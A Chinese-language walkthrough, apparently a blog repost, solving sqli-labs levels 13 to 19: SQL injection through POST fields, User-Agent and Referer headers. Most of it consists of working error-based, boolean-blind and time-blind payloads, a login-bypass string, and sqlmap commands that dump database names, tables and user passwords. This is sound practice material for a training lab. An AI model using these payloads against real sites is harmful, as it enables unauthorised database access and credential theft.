sqlilab-Less-13-19 测试writeup

Less-13 基于POST请求单引号字符型双注入

这里是POST请求的注入,跟Less-12一样,只是改变成了单引号,加了括号,由于这个没有回显,那么无法进行联合查询注入

报错注入
uname=bmfx') and extractvalue(1,concat(0x7e,(select database()))) and ('&passwd=bmfx&submit=Submit

其他跟Less-12一样

python sqlmap.py -r less13.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

==============================================================================================================================

Less-14 基于POST请求单引号字符型双注入

POST请求注入,跟Less-13一样,只是拼接方式不一样,这是是改成双引号,没有加括号

报错注入
uname=bmfx" and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

聚合函数随机性注入
uname=" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=bmfx&submit=Submit

=================================================================================================================================

Less-15 基于POST请求单引号的布尔型和时间型盲注

布尔型盲注
uname=admin' and 998=998 --+&passwd=admin&submit=Submit 登陆成功
uname=admin' and 998=999 --+&passwd=admin&submit=Submit 登陆失败

时间延时盲注
uname=admin' and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

爆库
uname=admin' and if(length(database())=8,sleep(8),1)--+&passwd=shit&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(8),1)--+&passwd=shit&submit=Submit
上面慢慢的猜测数据库security

爆表
uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(8),1)--+&passwd=shit&submit=Submit

爆字段
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(8),1)--+&passwd=shit&submit=Submit

爆字段信息
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(8),1)--+&passwd=shit&submit=Submit

sqlmap注入

时间型盲注
python sqlmap.py -r less15.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

==============================================================================================================================

Less-16 基于POST请求双引号的布尔型和时间型盲注

这里和Less-15一样的,只是需要将单引号改成")即可

布尔型盲注
uname=admin") and 998=998 --+&passwd=admin&submit=Submit 登陆成功
uname=admin") and 998=999 --+&passwd=admin&submit=Submit 登陆失败

时间延时盲注
uname=admin") and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

sqlmap注入

时间型盲注
python sqlmap.py -r less16.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch
这里sqlmap注入测试发现是需要加入level和risk,不然注入不出来

万能密码
admin")#

==============================================================================================================================

Less-17 基于POST请求显错更新查询注入

此关卡对uname进行了过滤,但是没有对password进行过滤,具体过滤函数如下:

截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(')引号(")、反斜线()与 NULL(NULL)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换

报错注入,直接得出账户和密码
uname=admin&passwd=998' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

报错注入,有关于使用updatexml()它和extractvaule()这两个的注入尽量使用这两个,因为速度快

爆版本
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+ &submit=Submit

爆库
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ &submit=Submit

爆表名
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+&submit=Submit

爆字段
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

爆用户名
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

爆密码
uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

sqlmap注入

报错注入
python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

布尔盲注
python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs --batch

时间型盲注
python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

==============================================================================================================================

Less-18 基于错误的用户代理头部注入

$_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。

$_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。

$_SERVER['REMOTE_ADDR'],客户端不能伪造。

所以这里的 IP 是无法被伪造的,这里只能通过修改User-Agent来进行注入

爆库
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

这里的手工注入和Less-12里面的手工注入语句一样

sqlmap注入

报错注入
python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

布尔盲注
python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

时间型盲注
python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch

==============================================================================================================================

Less-19 基于错误的头部Refer注入

这里的手工注入和Less-12里面的手工注入语句一样,只不过这里是考察同refer进行注入

爆库
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

爆版本
'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '

sqlmap注入

报错注入
python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

布尔盲注
python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

时间型盲注
python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13704648.html